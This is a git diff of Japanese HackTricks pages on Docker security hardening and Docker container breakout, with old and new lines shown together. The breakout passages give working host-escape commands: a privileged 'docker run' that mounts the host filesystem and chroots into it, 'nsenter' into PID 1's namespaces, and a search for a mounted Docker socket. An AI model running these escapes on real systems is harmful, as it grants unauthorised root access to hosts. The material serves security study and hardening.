Dockerは、コンテナの分離を実現するために以下のLinuxカーネルNamespacesを利用しています:
|
||||
|
||||
|
@ -177,8 +181,8 @@ Dockerは、コンテナの分離を実現するために以下のLinuxカーネ
|
|||
|
||||
### cgroups
|
||||
|
||||
Linuxカーネル機能**cgroups**は、一連のプロセス間でcpu、memory、io、ネットワーク帯域幅などのリソースを**制限**する機能を提供します。 Dockerは、cgroup機能を使用してリソース制御を可能にするコンテナを作成できます。\
|
||||
以下は、ユーザースペースメモリが500mに制限され、カーネルメモリが50mに制限され、CPUシェアが512に、blkioweightが400に制限されたコンテナの例です。 CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024までの範囲があります。 CPUリソースの競合が発生した場合、CPUシェアが1024の3つのコンテナが同じ場合、各コンテナはCPUの最大33%を取ることができます。 blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000までの範囲があります。
|
||||
Linuxカーネル機能の**cgroups**は、一連のプロセス間でcpu、memory、io、ネットワーク帯域幅などのリソースを**制限**する機能を提供します。 Dockerは、cgroup機能を使用してリソース制御を可能にするコンテナを作成できます。\
|
||||
以下は、ユーザースペースメモリが500mに制限され、カーネルメモリが50mに制限され、CPUシェアが512に、blkioweightが400に制限されたコンテナの例です。 CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。 CPUリソースの競合が発生した場合、CPUシェアが1024の3つのコンテナがある場合、各コンテナはCPUの33%まで取得できます。 blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -188,17 +192,17 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain
|
|||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
|
||||
```
|
||||
以下の情報をご確認ください:
|
||||
以下の情報を確認してください:
|
||||
|
||||
{% content-ref url="cgroups.md" %}
|
||||
[cgroups.md](cgroups.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Capabilities
|
||||
### 機能
|
||||
|
||||
Capabilitiesはrootユーザーに許可される機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で行われる操作を制限します。
|
||||
機能は、rootユーザーに許可される機能を**細かく制御**することを可能にします。DockerはLinuxカーネルの機能を使用して、**ユーザーの種類に関係なくコンテナ内で実行できる操作を制限**します。
|
||||
|
||||
Dockerコンテナが実行されると、プロセスは隔離から脱出するために使用できる機密な機能を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようにします:
|
||||
Dockerコンテナが実行されると、**プロセスは隔離から脱出するために使用できる機密機能を削除**します。これにより、プロセスが機密なアクションを実行して脱出することができないようにします:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -206,7 +210,7 @@ Dockerコンテナが実行されると、プロセスは隔離から脱出す
|
|||
|
||||
### Docker内のSeccomp
|
||||
|
||||
これはDockerがコンテナ内で使用できるシステムコールを制限するセキュリティ機能です:
|
||||
これは、Dockerがコンテナ内で使用できる**シスコール**を制限するセキュリティ機能です:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
@ -214,7 +218,7 @@ Dockerコンテナが実行されると、プロセスは隔離から脱出す
|
|||
|
||||
### Docker内のAppArmor
|
||||
|
||||
AppArmorは、コンテナを限られたリソースセットに制限するためのカーネルの拡張機能であり、プログラムごとのプロファイルを使用します。
|
||||
**AppArmor**は、**プログラムごとのプロファイル**で**コンテナ**を**限られた**リソースに制限するためのカーネル拡張機能です:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -222,13 +226,13 @@ AppArmorは、コンテナを限られたリソースセットに制限するた
|
|||
|
||||
### Docker内のSELinux
|
||||
|
||||
* **ラベリングシステム**: SELinuxは、すべてのプロセスとファイルシステムオブジェクトに一意のラベルを割り当てます。
|
||||
* **ポリシーの強制**: プロセスラベルがシステム内の他のラベルに対して実行できるアクションを定義するセキュリティポリシーを強制します。
|
||||
* **コンテナプロセスラベル**: コンテナエンジンがコンテナプロセスを開始すると、通常は`container_t`という制限されたSELinuxラベルが割り当てられます。
|
||||
* **コンテナ内のファイルラベリング**: コンテナ内のファイルは通常、`container_file_t`としてラベル付けされます。
|
||||
* **ポリシールール**: SELinuxポリシーは、主に`container_t`ラベルを持つプロセスが`container_file_t`としてラベル付けされたファイルとのみやり取り(読み取り、書き込み、実行)できることを保証します。
|
||||
* **ラベリングシステム**:SELinuxは、すべてのプロセスとファイルシステムオブジェクトに一意のラベルを割り当てます。
|
||||
* **ポリシーの強制**:プロセスラベルがシステム内の他のラベルに対して実行できるアクションを定義するセキュリティポリシーを強制します。
|
||||
* **コンテナプロセスラベル**:コンテナエンジンがコンテナプロセスを開始すると、通常は`container_t`という制限されたSELinuxラベルが割り当てられます。
|
||||
* **コンテナ内のファイルラベリング**:コンテナ内のファイルは通常、`container_file_t`としてラベル付けされます。
|
||||
* **ポリシールール**:SELinuxポリシーは、主に`container_t`ラベルを持つプロセスが`container_file_t`としてラベル付けされたファイルとのみ相互作用(読み取り、書き込み、実行)できるようにします。
|
||||
|
||||
このメカニズムにより、コンテナ内のプロセスが侵害された場合でも、対応するラベルを持つオブジェクトとのやり取りに制限され、そのような侵害からの潜在的な被害が大幅に制限されます。
|
||||
このメカニズムにより、コンテナ内のプロセスが侵害された場合でも、対応するラベルを持つオブジェクトとの相互作用に制限され、そのような侵害からの潜在的な被害が大幅に制限されます。
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -236,10 +240,10 @@ AppArmorは、コンテナを限られたリソースセットに制限するた
|
|||
|
||||
### AuthZ&AuthN
|
||||
|
||||
Dockerでは、認可プラグインが重要な役割を果たし、Dockerデーモンへのリクエストを許可するかブロックするかを決定します。この決定は、次の2つのキーとなるコンテキストを調査することで行われます:
|
||||
Dockerでは、認可プラグインが重要な役割を果たし、Dockerデーモンへのリクエストを許可するかブロックするかを決定します。この決定は、次の2つのキーとなるコンテキストを調査することによって行われます:
|
||||
|
||||
* **認証コンテキスト**: ユーザーに関する包括的な情報が含まれます。誰であり、どのように認証されたかなど。
|
||||
* **コマンドコンテキスト**: リクエストに関連するすべての関連データが含まれます。
|
||||
* **認証コンテキスト**:これには、ユーザーに関する包括的な情報が含まれます。たとえば、ユーザーが誰であり、どのように認証されたかなどです。
|
||||
* **コマンドコンテキスト**:これには、行われているリクエストに関連するすべての関連データが含まれます。
|
||||
|
||||
これらのコンテキストにより、認証されたユーザーからの正当なリクエストのみが処理され、Docker操作のセキュリティが向上します。
|
||||
|
||||
|
@ -304,7 +308,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
|
||||
### シークレットの管理:ベストプラクティス
|
||||
|
||||
Dockerイメージにシークレットを直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`などのコマンドを使用してコンテナにアクセスできる人に機密情報を公開してしまいます。
|
||||
Dockerイメージにシークレットを直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`などのコマンドを介してコンテナにアクセス権を持つ人に機密情報を公開してしまいます。
|
||||
|
||||
**Dockerボリューム**は、機密情報にアクセスするために推奨されるより安全な代替手段です。これらは一時的なメモリ内のファイルシステムとして利用でき、`docker inspect`やログ記録に関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセス権を持つユーザーは依然としてシークレットにアクセスできる可能性があります。
|
||||
|
||||
|
@ -320,7 +324,7 @@ BuildKitを使用すると、`--secret`オプションを使用してビルド
|
|||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
実行中のコンテナで必要なシークレットについては、**Docker ComposeとKubernetes**が堅牢なソリューションを提供しています。Docker Composeは、`docker-compose.yml`の例に示すように、サービス定義でシークレットファイルを指定するための`secrets`キーを利用します。
|
||||
実行中のコンテナで必要なシークレットについては、**Docker ComposeとKubernetes**が堅牢なソリューションを提供しています。Docker Composeは、シークレットファイルを指定するための`secrets`キーをサービス定義で使用し、`docker-compose.yml`の例に示すようにします。
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
|
@ -333,41 +337,90 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
この設定では、Docker Composeを使用してサービスを起動する際にシークレットを使用できます。
|
||||
この設定では、Docker Composeを使用してサービスを起動する際にシークレットを使用できるようになります。
|
||||
|
||||
Kubernetes環境では、シークレットはネイティブでサポートされ、[Helm-Secrets](https://github.com/futuresimple/helm-secrets)などのツールでさらに管理できます。KubernetesのRole Based Access Controls(RBAC)は、Docker Enterpriseと同様にシークレット管理のセキュリティを向上させます。
|
||||
Kubernetes環境では、シークレットはネイティブでサポートされており、[Helm-Secrets](https://github.com/futuresimple/helm-secrets)などのツールでさらに管理できます。KubernetesのRole Based Access Controls(RBAC)は、Docker Enterpriseと同様にシークレット管理のセキュリティを向上させます。
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムサーフェスの大部分を実装しています。[Open Container Initiative(OCI)](https://www.opencontainers.org)ランタイムである`runsc`を含み、**アプリケーションとホストカーネルの間の隔離境界**を提供します。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。
|
||||
**gVisor**は、Goで書かれたアプリケーションカーネルであり、Linuxシステムサーフェスの大部分を実装しています。これには、アプリケーションとホストカーネルの間の**隔離境界**を提供する[Open Container Initiative(OCI)](https://www.opencontainers.org)ランタイムである`runsc`が含まれています。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers**は、軽量な仮想マシンを使用してコンテナのように感じ、パフォーマンスを発揮するセキュアなコンテナランタイムを構築するために取り組むオープンソースコミュニティですが、第2の防御層としてハードウェア仮想化技術を使用して**強力なワークロード分離**を提供します。
|
||||
**Kata Containers**は、コンテナと同様に感じ、パフォーマンスが高い軽量な仮想マシンを使用して、**ハードウェア仮想化技術を使用して強力なワークロード分離**を提供するセキュアなコンテナランタイムを構築するために取り組むオープンソースコミュニティです。
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### 要約のヒント
|
||||
|
||||
* **`--privileged`フラグを使用しない**か、[**コンテナ内にDockerソケットをマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)。 Dockerソケットを使用すると、コンテナの生成が可能になり、たとえば`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御できるようになります。
|
||||
* **コンテナ内でrootとして実行しないでください。** [**異なるユーザー**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **と** [**ユーザーネームスペース**](https://docs.docker.com/engine/security/userns-remap/) **を使用してください。** コンテナ内のrootは、ユーザーネームスペースでリマップされない限り、ホストと同じです。主にLinuxのネームスペース、機能、およびcgroupsによってわずかに制限されています。
|
||||
* [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要な機能のみを有効にしてください** (`--cap-add=...`)。多くのワークロードには機能が必要ない場合があり、それらを追加すると攻撃の範囲が広がります。
|
||||
* [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)して、例えばsuidバイナリを介してプロセスが特権を取得するのを防止してください。
|
||||
* **コンテナに利用可能なリソースを制限してください**。リソース制限は、マシンをサービス拒否攻撃から保護できます。
|
||||
* **`--privileged`フラグを使用しない**か、[**コンテナ内にDockerソケットをマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)。 Dockerソケットを使用すると、コンテナを生成することができるため、たとえば`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御することができます。
|
||||
* コンテナ内で**rootとして実行しないでください。**[**異なるユーザー**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **と**[**ユーザーネームスペース**](https://docs.docker.com/engine/security/userns-remap/) **を使用してください。** コンテナ内のrootは、ユーザーネームスペースでリマップされていない限り、ホストと同じです。主にLinuxのネームスペース、機能、およびcgroupsによってわずかに制限されています。
|
||||
* [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要な機能のみを有効にしてください**(`--cap-add=...`)。多くのワークロードには機能が必要ない場合があり、それらを追加すると攻撃の範囲が広がります。
|
||||
* プロセスがsuidバイナリを介して特権を取得するのを防ぐために、**“no-new-privileges”セキュリティオプションを使用してください**。
|
||||
* コンテナに利用可能なリソースを**制限してください**。リソース制限は、マシンをサービス拒否攻撃から保護できます。
|
||||
* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**、**[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(またはSELinux)**プロファイルを調整して、コンテナで利用可能なアクションとシスコールを最小限に制限してください。
|
||||
* **[公式のDockerイメージ](https://docs.docker.com/docker-hub/official_images/)を使用**し、署名を要求するか、それらを基に独自のイメージを構築してください。[バックドアが仕込まれた](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)イメージを継承したり使用しないでください。また、ルートキー、パスフレーズは安全な場所に保存してください。DockerはUCPでキーを管理する計画を立てています。
|
||||
* **定期的に** **イメージを再構築**して、ホストとイメージにセキュリティパッチを適用してください。
|
||||
* **[公式のDockerイメージ](https://docs.docker.com/docker-hub/official_images/)**を使用し、署名を要求するか、それらを基に独自のイメージを構築してください。[バックドアが仕込まれた](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)イメージを継承したり使用しないでください。また、ルートキー、パスフレーズを安全な場所に保存してください。DockerはUCPでキーを管理する計画を立てています。
|
||||
* **イメージを定期的に再構築**して、ホストとイメージにセキュリティパッチを適用してください。
|
||||
* **シークレットを賢く管理**して、攻撃者がアクセスしにくくしてください。
|
||||
* Dockerデーモンを公開する場合は、HTTPSを使用してクライアントとサーバーの認証を行ってください。
|
||||
* Dockerfileでは、**ADDの代わりにCOPYを使用**してください。ADDは自動的にzipファイルを解凍し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限り、ADDを使用しないようにして、リモートURLやZipファイルを介した攻撃に対して脆弱にならないようにしてください。
|
||||
* **各マイクロサービスには別々のコンテナを使用してください。**
|
||||
* **コンテナイメージを小さくしてください。**
|
||||
他のHackTricksのサポート方法:
|
||||
* Dockerデーモンを公開する場合は、HTTPSを使用して、クライアントとサーバーの認証を行ってください。
|
||||
* Dockerfileでは、**ADDの代わりにCOPYを使用**してください。ADDは自動的にzipファイルを解凍し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDを使用せず、リモートURLやZipファイルを介した攻撃に対して脆弱にならないようにしてください。
|
||||
* 各マイクロサービスに**別々のコンテナを使用**してください。
|
||||
* コンテナ**イメージを小さくしてください**
|
||||
|
||||
- [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックして、**HackTricksをPDFでダウンロード**したい場合や、**HackTricksで企業を宣伝**したい場合
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
## Docker Breakout / Privilege Escalation
|
||||
|
||||
もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱出して特権を昇格**することができます:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Docker Authentication Plugin Bypass
|
||||
|
||||
Dockerソケットにアクセス権があるか、**dockerグループのユーザーにアクセス権があるが、Docker認証プラグインによって制限されている**場合、**バイパスできるかどうか**を確認してください:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dockerのハードニング
|
||||
|
||||
* ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、本番環境でDockerコンテナを展開する際の数十の一般的なベストプラクティスをチェックするスクリプトです。これらのテストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\
|
||||
このツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。READMEでの実行方法を見つけてください: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
|
||||
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**してください。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに。
|
||||
|
|
|
@ -2,22 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する
|
||||
* **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -26,14 +26,14 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): **コンテナを列挙**することもできます
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、**現在のコンテナを列挙し、自動的に脱出を試みる**のに非常に便利です
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、それから脱出する方法を見つけるための便利なツール
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、そこから脱出する方法を見つけるための便利なツール
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): コンテナからの列挙と脱出のためのツール
|
||||
* [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得する
|
||||
|
||||
## マウントされたDockerソケットの脱出
|
||||
|
||||
もし何らかの理由で、**dockerソケットがDockerコンテナ内にマウントされている**ことがわかった場合、それから脱出することができます。\
|
||||
これは通常、何らかの理由でdockerコンテナがdockerデーモンに接続してアクションを実行する必要がある場合に発生します。
|
||||
もしも **dockerソケットがDockerコンテナ内にマウントされている**ことがわかった場合、そこから脱出することができます。\
|
||||
これは通常、何らかの理由でDockerコンテナがDockerデーモンに接続してアクションを実行する必要がある場合に発生します。
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
|
@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**docker** ソケットが予期しない場所にある場合は、**`docker`** コマンドを使用して、パラメータ **`-H unix:///path/to/docker.sock`** を指定してそれと通信することができます。
|
||||
**dockerソケットが予期しない場所にある**場合は、**`docker`**コマンドをパラメータ**`-H unix:///path/to/docker.sock`**を使用してそれと通信することができます。
|
||||
{% endhint %}
|
||||
|
||||
Docker デーモンは、[ポート(デフォルトでは 2375、2376)でリスニング](../../../../network-services-pentesting/2375-pentesting-docker.md)されている可能性があり、Systemd ベースのシステムでは、Docker デーモンとの通信は Systemd ソケット `fd://` を介して行われることがあります。
|
||||
Dockerデーモンは、[ポート(デフォルトで2375、2376)でリスニングされる場合もあります](../../../../network-services-pentesting/2375-pentesting-docker.md)し、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット`fd://`を介して行われることがあります。
|
||||
|
||||
{% hint style="info" %}
|
||||
さらに、他のハイレベルランタイムのランタイムソケットにも注意してください:
|
||||
|
@ -72,13 +72,13 @@ Docker デーモンは、[ポート(デフォルトでは 2375、2376)でリ
|
|||
|
||||
## Capabilities Abuse Escape
|
||||
|
||||
コンテナの機能を確認する必要があります。以下のいずれかの機能がある場合、それから脱出することができるかもしれません: **`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
|
||||
コンテナの権限をチェックし、以下のいずれかを持っている場合、それから脱出することができるかもしれません: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
現在のコンテナの機能を確認するには、**前述の自動ツール**または次の方法を使用できます:
|
||||
現在のコンテナの権限を確認するには、**前述の自動ツール**または次の方法を使用できます:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
以下のページで**Linuxの機能について詳しく学び**、それらを乱用して特権を脱出/昇格する方法を学ぶことができます:
|
||||
以下のページで**Linuxの機能について詳しく学び**、それらを悪用して特権を昇格/脱出する方法について学ぶことができます:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
|
@ -98,7 +98,7 @@ capsh --print
|
|||
* `--cgroupns=host`
|
||||
* `/dev`をマウント
|
||||
|
||||
`--privileged`フラグは、コンテナのセキュリティを著しく低下させ、**制限なしのデバイスアクセス**を提供し、**いくつかの保護をバイパス**します。詳細については、`--privileged`の完全な影響に関するドキュメントを参照してください。
|
||||
`--privileged`フラグは、コンテナのセキュリティを著しく低下させ、**制限なしのデバイスアクセス**を提供し、**いくつかの保護をバイパス**します。詳細な説明については、`--privileged`の完全な影響に関するドキュメントを参照してください。
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -106,7 +106,7 @@ capsh --print
|
|||
|
||||
### 特権 + hostPID
|
||||
|
||||
これらの権限を持つと、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行するだけで、ホストでrootとして実行されているプロセス(init (pid:1)など)の名前空間に移動できます。
|
||||
これらの権限を持つ場合、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行するだけで、ホストでrootとして実行されているプロセス(init (pid:1)など)の名前空間に移動できます。
|
||||
|
||||
コンテナでテストを実行します。
|
||||
```bash
|
||||
|
@ -116,13 +116,13 @@ docker run --rm -it --pid=host --privileged ubuntu bash
